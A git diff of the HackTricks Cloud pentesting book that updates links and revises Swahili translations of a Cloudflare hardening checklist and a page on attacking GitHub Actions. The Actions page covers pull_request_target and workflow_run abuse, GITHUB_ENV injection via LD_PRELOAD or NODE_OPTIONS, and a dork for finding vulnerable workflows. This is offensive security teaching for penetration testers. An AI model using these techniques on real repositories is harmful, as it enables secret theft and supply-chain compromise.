diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index c39a9cc91..e3e18e17d 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -3,8 +3,8 @@
# 👽 Welcome!
- [HackTricks Cloud](README.md)
-- [About the Author$$external:https://book.hacktricks.xyz/welcome/about-the-author$$]()
-- [HackTricks Values & faq$$external:https://book.hacktricks.xyz/welcome/hacktricks-values-and-faq$$]()
+- [About the Author$$external:https://book.hacktricks.wiki/en/welcome/about-the-author.html$$]()
+- [HackTricks Values & faq$$external:https://book.hacktricks.wiki/en/welcome/hacktricks-values-and-faq.html$$]()
# 🏭 Pentesting CI/CD
@@ -408,12 +408,15 @@
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
+ - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
- [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md)
- [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md)
- [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md)
- [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md)
+ - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql.md)
+ - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql.md)
- [Az - Queue Storage](pentesting-cloud/azure-security/az-services/az-queue-enum.md)
- [Az - Service Bus](pentesting-cloud/azure-security/az-services/az-servicebus-enum.md)
- [Az - SQL](pentesting-cloud/azure-security/az-services/az-sql.md)
@@ -442,9 +445,12 @@
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
+ - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
+ - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-post-exploitation.md)
+ - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-post-exploitation.md)
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
@@ -454,17 +460,20 @@
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
+ - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
+ - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
+ - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
- - [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
- [Az - Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md)
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
+ - [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
@@ -501,8 +510,8 @@
# 🛫 Pentesting Network Services
-- [HackTricks Pentesting Network$$external:https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network$$]()
-- [HackTricks Pentesting Services$$external:https://book.hacktricks.xyz/network-services-pentesting/pentesting-ssh$$]()
+- [HackTricks Pentesting Network$$external:https://book.hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-network/index.html$$]()
+- [HackTricks Pentesting Services$$external:https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ssh.html$$]()
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 43b6377d3..296e2b395 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -17,14 +17,14 @@ Katika kila TLD iliyowekwa kwenye Cloudflare kuna **mipangilio na huduma za juml
### DNS
-- [ ] Angalia **data za kuvutia** (sensitive?) katika **rekodi za DNS**
+- [ ] Angalia **data za kuvutia** (nyeti?) katika **records** za DNS
- [ ] Angalia **subdomains** ambazo zinaweza kuwa na **habari nyeti** kulingana na **jina** (kama admin173865324.domin.com)
-- [ ] Angalia kurasa za wavuti ambazo **hazijapangwa** **proxied**
-- [ ] Angalia **kurasa za wavuti zilizopangwa** ambazo zinaweza **kupatikana moja kwa moja** kwa CNAME au anwani ya IP
-- [ ] Angalia kwamba **DNSSEC** ime **wezeshwa**
-- [ ] Angalia kwamba **CNAME Flattening** inatumika katika **CNAME zote**
-- Hii inaweza kuwa na manufaa ili **kuficha udhaifu wa kuchukua subdomain** na kuboresha nyakati za upakiaji
-- [ ] Angalia kwamba majina ya domain [**hayana udhaifu wa spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
+- [ ] Angalia kurasa za wavuti ambazo **hazijapitiwa** **proxied**
+- [ ] Angalia kwa **kurasa za wavuti zilizopitishwa** ambazo zinaweza **kupatikana moja kwa moja** kwa CNAME au anwani ya IP
+- [ ] Hakikisha kuwa **DNSSEC** ime **wezeshwa**
+- [ ] Hakikisha kuwa **CNAME Flattening** inatumika katika **CNAME zote**
+- Hii inaweza kuwa na manufaa kuficha **udhaifu wa kuchukua subdomain** na kuboresha muda wa kupakia
+- [ ] Hakikisha kuwa majina ya **hayana udhaifu wa spoofing** [**hayana udhaifu wa spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
### **Barua pepe**
@@ -39,7 +39,7 @@ TODO
#### **Muhtasari**
- [ ] **SSL/TLS encryption** inapaswa kuwa **Full** au **Full (Strict)**. Mengineyo yatatuma **trafiki ya maandiko wazi** kwa wakati fulani.
-- [ ] **SSL/TLS Recommender** inapaswa kuwezeshwa
+- [ ] **SSL/TLS Recommender** inapaswa kuwa imewezeshwa
#### Vyeti vya Edge
@@ -58,10 +58,10 @@ TODO
- [ ] Katika sehemu ya **`API Shield`** inapendekezwa kuangalia kwamba ime **wezeshwa** ikiwa API yoyote inafichuliwa kwenye Cloudflare
- [ ] Katika sehemu ya **`DDoS`** inapendekezwa kuwezesha **ulinzi wa DDoS**
- [ ] Katika sehemu ya **`Settings`**:
-- [ ] Angalia kwamba **`Security Level`** ni **kati** au zaidi
-- [ ] Angalia kwamba **`Challenge Passage`** ni saa 1 kwa max
-- [ ] Angalia kwamba **`Browser Integrity Check`** ime **wezeshwa**
-- [ ] Angalia kwamba **`Privacy Pass Support`** ime **wezeshwa**
+- [ ] Hakikisha kuwa **`Security Level`** ni **kati** au zaidi
+- [ ] Hakikisha kuwa **`Challenge Passage`** ni saa 1 kwa max
+- [ ] Hakikisha kuwa **`Browser Integrity Check`** ime **wezeshwa**
+- [ ] Hakikisha kuwa **`Privacy Pass Support`** ime **wezeshwa**
#### **Ulinzi wa DDoS wa CloudFlare**
@@ -69,7 +69,7 @@ TODO
- Katika **WAF**: Unaweza kuunda **mipaka ya kiwango kwa njia ya URL** au kwa **bots zilizothibitishwa** (kanuni za rate limiting), au **kuzuia ufikiaji** kulingana na IP, Cookie, referrer...). Hivyo unaweza kuzuia maombi ambayo hayajatoka kwenye ukurasa wa wavuti au yana cookie.
- Ikiwa shambulio linatoka kwa **bot iliyothibitishwa**, angalau **ongeza kiwango cha mipaka** kwa bots.
- Ikiwa shambulio linahusiana na **njia maalum**, kama njia ya kuzuia, ongeza **mipaka ya kiwango** katika njia hii.
-- Unaweza pia **kuongeza kwenye orodha ya nyeupe** anwani za IP, anuwai za IP, nchi au ASNs kutoka **Zana** katika WAF.
+- Unaweza pia **kuongeza orodha ya nyeupe** anwani za IP, anuwai za IP, nchi au ASNs kutoka **Zana** katika WAF.
- Angalia ikiwa **Kanuni Zinazosimamiwa** zinaweza pia kusaidia kuzuia matumizi mabaya ya udhaifu.
- Katika sehemu ya **Zana** unaweza **kuzuia au kutoa changamoto kwa IP maalum** na **wakala wa mtumiaji.**
- Katika DDoS unaweza **kuzidisha baadhi ya kanuni ili kuzifanya kuwa kali zaidi**.
@@ -93,7 +93,7 @@ _Sikuweza kupata chaguo lolote linalohusiana na usalama_
### **Njia za Wafanyakazi**
-_Unapaswa kuwa umeshakagua_ [_cloudflare workers_](./#workers)
+_Umeweza tayari kuangalia_ [_cloudflare workers_](#workers)
### Kanuni
@@ -120,7 +120,7 @@ TODO
### Scrape Shield
- [ ] Angalia **Uondoaji wa Anwani za Barua pepe** ume **wezeshwa**
-- [ ] Angalia **Kujumuisha kwa Seva** ume **wezeshwa**
+- [ ] Angalia **Kujiondoa kwa Seva** ume **wezeshwa**
### **Zaraz**
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index 7ed036f3e..2c182d8a8 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -6,13 +6,13 @@
Katika ukurasa huu utaona:
-- **Muhtasari wa athari zote** za mshambuliaji kufanikiwa kupata ufikiaji wa Github Action
+- **Muhtasari wa athari zote** za mshambuliaji anayefaulu kupata ufikiaji wa Github Action
- Njia tofauti za **kupata ufikiaji wa hatua**:
- Kuwa na **idhini** za kuunda hatua hiyo
-- Kutumia **vichocheo** vinavyohusiana na ombi la kuvuta
-- Kutumia **mbinu nyingine za ufikiaji wa nje**
-- **Pivoting** kutoka kwenye repo iliyoshambuliwa tayari
-- Hatimaye, sehemu kuhusu **mbinu za baada ya unyakuzi kutumia hatua kutoka ndani** (kwa sababu ya athari zilizotajwa)
+- Kunyanyasa **michocheo** inayohusiana na ombi la kuvuta
+- Kunyanyasa **mbinu nyingine za ufikiaji wa nje**
+- **Pivoting** kutoka kwa repo iliyoshambuliwa tayari
+- Hatimaye, sehemu kuhusu **mbinu za baada ya kunyanyasa ili kunyanyasa hatua kutoka ndani** (kwa sababu ya athari zilizotajwa)
## Impacts Summary
@@ -20,10 +20,10 @@ Kwa utangulizi kuhusu [**Github Actions angalia taarifa za msingi**](../basic-gi
Ikiwa unaweza **kutekeleza msimbo wowote katika GitHub Actions** ndani ya **repo**, unaweza kuwa na uwezo wa:
-- **Kuhujumu siri** zilizowekwa kwenye pipeline na **kutumia mamlaka ya pipeline** kupata ufikiaji usioidhinishwa kwenye majukwaa ya nje, kama AWS na GCP.
+- **Kuhujumu siri** zilizowekwa kwenye pipeline na **kunyanyasa mamlaka ya pipeline** kupata ufikiaji usioidhinishwa kwa majukwaa ya nje, kama vile AWS na GCP.
- **Kuhujumu matumizi** na **vitu vingine**.
- Ikiwa pipeline inapeleka au kuhifadhi mali, unaweza kubadilisha bidhaa ya mwisho, kuwezesha shambulio la mnyororo wa usambazaji.
-- **Kutekeleza msimbo katika wafanyakazi maalum** ili kutumia nguvu za kompyuta na pivot kwa mifumo mingine.
+- **Kutekeleza msimbo katika wafanyakazi maalum** ili kunyanyasa nguvu za kompyuta na pivot kwa mifumo mingine.
- **Kufuta msimbo wa repo**, kulingana na ruhusa zinazohusiana na `GITHUB_TOKEN`.
## GITHUB_TOKEN
@@ -39,7 +39,7 @@ Token hii ni sawa na ile ambayo **Github Application itatumia**, hivyo inaweza k
Unaweza kuona **idhini** zinazowezekana za token hii katika: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
-Kumbuka kwamba token **inaisha muda baada ya kazi kukamilika**.\
+Kumbuka kwamba token **inaisha baada ya kazi kukamilika**.\
Token hizi zinaonekana kama hii: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Mambo kadhaa ya kuvutia unayoweza kufanya na token hii:
@@ -143,7 +143,7 @@ Inawezekana kuangalia ruhusa zilizotolewa kwa Github Token katika hifadhi za wat
> [!NOTE]
> Hii ingekuwa njia rahisi zaidi ya kuathiri vitendo vya Github, kwani kesi hii inadhani kuwa una ufikiaji wa **kuunda hifadhi mpya katika shirika**, au una **haki za kuandika juu ya hifadhi**.
>
-> Ikiwa uko katika hali hii unaweza tu kuangalia [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
+> Ikiwa uko katika hali hii unaweza tu kuangalia [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
### Utekelezaji kutoka kwa Uundaji wa Hifadhi
@@ -153,7 +153,7 @@ Katika kesi ambapo wanachama wa shirika wanaweza **kuunda hifadhi mpya** na unaw
Ikiwa unaweza **kuunda tawi jipya katika hifadhi ambayo tayari ina Github Action** iliyowekwa, unaweza **kubadilisha** hiyo, **kupakia** maudhui, na kisha **kutekeleza kitendo hicho kutoka kwa tawi jipya**. Kwa njia hii unaweza **kuondoa siri za hifadhi na kiwango cha shirika** (lakini unahitaji kujua zinaitwaje).
-Unaweza kufanya kitendo kilichobadilishwa kiwe cha kutekelezeka **kwa mikono,** wakati **PR inaundwa** au wakati **kodi fulani inasukumwa** (kulingana na jinsi unavyotaka kuwa na kelele):
+Unaweza kufanya kitendo kilichobadilishwa kiweze kutekelezwa **kwa mikono,** wakati **PR inaundwa** au wakati **kodi fulani inasukumwa** (kulingana na jinsi unavyotaka kuwa na kelele):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -167,25 +167,25 @@ branches:
```
---
-## Utekelezaji wa Forked
+## Forked Execution
> [!NOTE]
-> Kuna vichocheo tofauti ambavyo vinaweza kumruhusu mshambuliaji **kutekeleza Github Action ya hifadhi nyingine**. Ikiwa vitendo hivyo vinavyoweza kuchochewa havijakamilishwa vizuri, mshambuliaji anaweza kuwa na uwezo wa kuvunja usalama wao.
+> Kuna vichocheo tofauti ambavyo vinaweza kumruhusu mshambuliaji **kutekeleza Github Action ya hifadhi nyingine**. Ikiwa vitendo hivyo vinavyoweza kuchochewa havijakamilika vizuri, mshambuliaji anaweza kuwa na uwezo wa kuvunja usalama wao.
### `pull_request`
-Vichocheo vya workflow **`pull_request`** vitatekeleza workflow kila wakati ombi la kuvuta linapopokelewa na baadhi ya visingizio: kwa kawaida ikiwa ni **mara ya kwanza** unapo **shirikiana**, baadhi ya **wasimamizi** watahitaji **kuthibitisha** **kuendesha** workflow:
+Vichocheo vya kazi **`pull_request`** vitatekeleza kazi kila wakati ombi la kuvuta linapopokelewa na baadhi ya visingizio: kwa kawaida ikiwa ni **mara ya kwanza** unapo **shirikiana**, baadhi ya **wasimamizi** watahitaji **kuthibitisha** **kuendesha** kazi hiyo:
> [!NOTE]
> Kwa kuwa **kikomo cha kawaida** ni kwa **watoaji wa mara ya kwanza**, unaweza kuchangia **kurekebisha hitilafu halali/typo** na kisha kutuma **PR nyingine ili kutumia haki zako mpya za `pull_request`**.
>
-> **Nimejaribu hii na haifanyi kazi**: ~~Chaguo lingine lingekuwa kuunda akaunti kwa jina la mtu ambaye alichangia kwenye mradi na kufuta akaunti yake.~~
+> **Nilijaribu hii na haifanyi kazi**: ~~Chaguo lingine lingekuwa kuunda akaunti kwa jina la mtu ambaye alichangia kwenye mradi na kufuta akaunti yake.~~
Zaidi ya hayo, kwa kawaida **inazuia ruhusa za kuandika** na **ufikiaji wa siri** kwa hifadhi lengwa kama ilivyoelezwa katika [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
-> Kwa kutengwa kwa `GITHUB_TOKEN`, **siri hazipitishwi kwa mchezaji** wakati workflow inachochewa kutoka hifadhi **forked**. **`GITHUB_TOKEN` ina ruhusa za kusoma tu** katika maombi ya kuvuta **kutoka hifadhi za forked**.
+> Kwa kutengwa kwa `GITHUB_TOKEN`, **siri hazipitishwi kwa mchezaji** wakati kazi inachochewa kutoka hifadhi **iliyoforked**. **`GITHUB_TOKEN` ina ruhusa za kusoma tu** katika ombi la kuvuta **kutoka hifadhi zilizoforked**.
Mshambuliaji anaweza kubadilisha ufafanuzi wa Github Action ili kutekeleza mambo yasiyo na mipaka na kuongeza vitendo vya kiholela. Hata hivyo, hataweza kuiba siri au kufuta repo kwa sababu ya vikwazo vilivyotajwa.
@@ -196,20 +196,20 @@ Kwa kuwa mshambuliaji pia anadhibiti msimbo unaotekelezwa, hata kama hakuna siri
### **`pull_request_target`**
-Vichocheo vya workflow **`pull_request_target`** vina **ruhusa za kuandika** kwa hifadhi lengwa na **ufikiaji wa siri** (na havihitaji ruhusa).
+Vichocheo vya kazi **`pull_request_target`** vina **ruhusa za kuandika** kwa hifadhi lengwa na **ufikiaji wa siri** (na havitaki ruhusa).
-Kumbuka kwamba vichocheo vya workflow **`pull_request_target`** **vinakimbia katika muktadha wa msingi** na si katika ule unaotolewa na PR (ili **kutoendesha msimbo usioaminika**). Kwa maelezo zaidi kuhusu `pull_request_target` [**angalia docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Zaidi ya hayo, kwa maelezo zaidi kuhusu matumizi haya hatari maalum angalia [**blogu ya github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Kumbuka kwamba vichocheo vya kazi **`pull_request_target`** **vinakimbia katika muktadha wa msingi** na si katika ile iliyotolewa na PR (ili **kutoendesha msimbo usioaminika**). Kwa maelezo zaidi kuhusu `pull_request_target` [**angalia docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Zaidi ya hayo, kwa maelezo zaidi kuhusu matumizi haya hatari maalum angalia hii [**blogu ya github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
-Inaweza kuonekana kuwa kwa sababu **workflow inayotekelezwa** ni ile iliyoainishwa katika **msingi** na **siyo katika PR** ni **salama** kutumia **`pull_request_target`**, lakini kuna **mambo machache ambapo si salama**.
+Inaweza kuonekana kuwa kwa sababu **kazi inayotekelezwa** ni ile iliyofafanuliwa katika **msingi** na **siyo katika PR** ni **salama** kutumia **`pull_request_target`**, lakini kuna **mifano michache ambapo si salama**.
Na hii itakuwa na **ufikiaji wa siri**.
### `workflow_run`
-Vichocheo vya [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) vinaruhusu kuendesha workflow kutoka nyingine wakati imekamilika, imeombwa au inaendelea.
+Vichocheo vya [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) vinaruhusu kuendesha kazi kutoka nyingine wakati imekamilika, imeombwa au inaendelea.
-Katika mfano huu, workflow imepangwa kuendesha baada ya workflow tofauti "Run Tests" kukamilika:
+Katika mfano huu, kazi imewekwa ili kuendesha baada ya kazi tofauti "Run Tests" kukamilika:
```yaml
on:
workflow_run:
@@ -217,31 +217,31 @@ workflows: [Run Tests]
types:
- completed
```
-Zaidi ya hayo, kulingana na nyaraka: Mchakato ulioanzishwa na tukio la `workflow_run` unaweza **kupata siri na kuandika tokeni, hata kama mchakato wa awali haukuwa**.
+Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
-Aina hii ya mchakato inaweza kushambuliwa ikiwa inategemea **mchakato** ambao unaweza **kuanzishwa** na mtumiaji wa nje kupitia **`pull_request`** au **`pull_request_target`**. Mifano kadhaa za hatari zinaweza [**kupatikana kwenye blogu hii**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Ya kwanza inahusisha **`workflow_run`** iliyoanzishwa ikipakua msimbo wa washambuliaji: `${{ github.event.pull_request.head.sha }}`\
-Ya pili inahusisha **kupitisha** **artifact** kutoka kwa msimbo **usioaminika** hadi kwenye mchakato wa **`workflow_run`** na kutumia maudhui ya artifact hii kwa njia inayofanya iwe **hatari kwa RCE**.
+This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
+The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
### `workflow_call`
TODO
-TODO: Angalia ikiwa wakati inatekelezwa kutoka kwa pull_request msimbo ulio tumika/pakuliwa ni ule kutoka kwa asili au kutoka kwa PR iliyofanywa.
+TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
-## Kutumia Utekelezaji wa Forked
+## Abusing Forked Execution
-Tumetaja njia zote ambazo mshambuliaji wa nje anaweza kuweza kufanya mchakato wa github kutekelezwa, sasa hebu tuangalie jinsi utekelezaji huu, ikiwa umewekwa vibaya, unaweza kutumiwa vibaya:
+Tumezungumzia njia zote ambazo mshambuliaji wa nje anaweza kuweza kufanya workflow ya github ifanye kazi, sasa hebu tuangalie jinsi utekelezaji huu, ikiwa umewekwa vibaya, unaweza kutumiwa vibaya:
-### Utekelezaji wa untrusted checkout
+### Untrusted checkout execution
-Katika kesi ya **`pull_request`,** mchakato utaanzishwa katika **muktadha wa PR** (hivyo utaanzisha **msimbo wa PR mbaya**), lakini mtu anahitaji **kuidhinisha kwanza** na utaendesha kwa baadhi ya [mipaka](./#pull_request).
+Katika kesi ya **`pull_request`,** workflow itatekelezwa katika **muktadha wa PR** (hivyo itatekeleza **msimbo wa PR mbaya**), lakini mtu anahitaji **kuidhinisha kwanza** na itatekelezwa kwa baadhi ya [mipaka](#pull_request).
-Katika kesi ya mchakato unaotumia **`pull_request_target` au `workflow_run`** inayotegemea mchakato ambao unaweza kuanzishwa kutoka **`pull_request_target` au `pull_request`** msimbo kutoka kwa repo ya asili utaanzishwa, hivyo **mshambuliaji hawezi kudhibiti msimbo unaotekelezwa**.
+Katika kesi ya workflow inayotumia **`pull_request_target` au `workflow_run`** inayotegemea workflow ambayo inaweza kuanzishwa kutoka **`pull_request_target` au `pull_request`** msimbo kutoka kwa repo ya asili utafanikiwa, hivyo **mshambuliaji cannot control the executed code**.
> [!CAUTION]
-> Hata hivyo, ikiwa **action** ina **ukaguzi wa PR wazi** ambao uta **pata msimbo kutoka kwa PR** (na sio kutoka msingi), itatumia msimbo ulio chini ya udhibiti wa mshambuliaji. Kwa mfano (angalia mstari wa 12 ambapo msimbo wa PR unapakuliwa):
+> Hata hivyo, ikiwa **action** ina **kuangalia PR wazi** ambayo itachukua **msimbo kutoka PR** (na sio kutoka msingi), itatumia msimbo ulio chini ya udhibiti wa mshambuliaji. Kwa mfano (angalia mstari wa 12 ambapo msimbo wa PR unashushwa):
-
# INSECURE. Imepewa kama mfano tu.
+
# INSECURE. Provided as an example only.
on:
pull_request_target
@@ -269,14 +269,14 @@ message: |
Thank you!
-Msimbo unaoweza kuwa **usioaminika unatekelezwa wakati wa `npm install` au `npm build`** kwani skripti za kujenga na **pakiti** zinazohusishwa zinadhibitiwa na mwandishi wa PR.
+Msimbo unaoweza kuwa **usioaminika unatekelezwa wakati wa `npm install` au `npm build`** kwani skripti za kujenga na **pakiti zinazohusishwa zinadhibitiwa na mwandishi wa PR**.
> [!WARNING]
-> Dork ya github kutafuta vitendo vyenye hatari ni: `event.pull_request pull_request_target extension:yml` hata hivyo, kuna njia tofauti za kuweka kazi zinazoweza kutekelezwa kwa usalama hata kama action imewekwa kwa njia isiyo salama (kama kutumia masharti kuhusu nani ni mchezaji anayezalisha PR).
+> Dork ya github kutafuta vitendo vya hatari ni: `event.pull_request pull_request_target extension:yml` hata hivyo, kuna njia tofauti za kuweka kazi zinazoweza kutekelezwa kwa usalama hata kama hatua imewekwa kwa njia isiyo salama (kama kutumia masharti kuhusu nani ni mchezaji anayezalisha PR).
-### Makinikia ya Muktadha wa Script
+### Context Script Injections
-Kumbuka kuwa kuna baadhi ya [**muktadha ya github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) ambao thamani zao zina **dhibitiwa** na **mtumiaji** anayezalisha PR. Ikiwa action ya github inatumia hiyo **data kutekeleza chochote**, inaweza kusababisha **utekelezaji wa msimbo wa kiholela:**
+Kumbuka kuwa kuna baadhi ya [**muktadha wa github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) ambao thamani zao zina **dhibitiwa** na **mtumiaji** anayezalisha PR. Ikiwa hatua ya github inatumia hiyo **data kutekeleza chochote**, inaweza kusababisha **utekelezaji wa msimbo wa kiholela:**
{{#ref}}
gh-actions-context-script-injections.md
@@ -284,23 +284,23 @@ gh-actions-context-script-injections.md
### **GITHUB_ENV Script Injection**
-Kutoka kwenye nyaraka: Unaweza kufanya **kigezo cha mazingira kiweze kupatikana kwa hatua zozote zinazofuata** katika kazi ya mchakato kwa kufafanua au kuboresha kigezo cha mazingira na kuandika hii kwenye faili ya mazingira ya **`GITHUB_ENV`**.
+Kutoka kwenye nyaraka: Unaweza kufanya **kigezo cha mazingira kiweze kupatikana kwa hatua zozote zinazofuata** katika kazi ya workflow kwa kufafanua au kuboresha kigezo cha mazingira na kuandika hii kwenye **`GITHUB_ENV`** faili ya mazingira.
-Ikiwa mshambuliaji anaweza **kuchanganya thamani yoyote** ndani ya hii **env** kigezo, anaweza kuchanganya vigezo vya env ambavyo vinaweza kutekeleza msimbo katika hatua zinazofuata kama **LD_PRELOAD** au **NODE_OPTIONS**.
+Ikiwa mshambuliaji anaweza **kuchanganya thamani yoyote** ndani ya hii **env** kigezo, anaweza kuchanganya vigezo vya mazingira ambavyo vinaweza kutekeleza msimbo katika hatua zinazofuata kama **LD_PRELOAD** au **NODE_OPTIONS**.
-Kwa mfano ([**hii**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) na [**hii**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), fikiria mchakato ambao unategemea artifact iliyopakiwa kuhifadhi maudhui yake ndani ya **`GITHUB_ENV`** kigezo. Mshambuliaji anaweza kupakia kitu kama hiki ili kukiharibu:
+Kwa mfano ([**hii**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) na [**hii**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), fikiria workflow ambayo inategemea artifact iliyopakiwa kuhifadhi maudhui yake ndani ya **`GITHUB_ENV`** kigezo cha mazingira. Mshambuliaji anaweza kupakia kitu kama hiki ili kukiathiri:
-### Vitendo vya Github vya Tatu vya Hatari
+### Vulnerable Third Party Github Actions
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
-Kama ilivyotajwa katika [**hiki kipande cha blogu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), hii Github Action inaruhusu kufikia artifacts kutoka kwa michakato tofauti na hata hifadhi.
+Kama ilivyotajwa katika [**hiki blogu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), hatua hii ya Github inaruhusu kufikia artifacts kutoka kwa workflows tofauti na hata hifadhi.
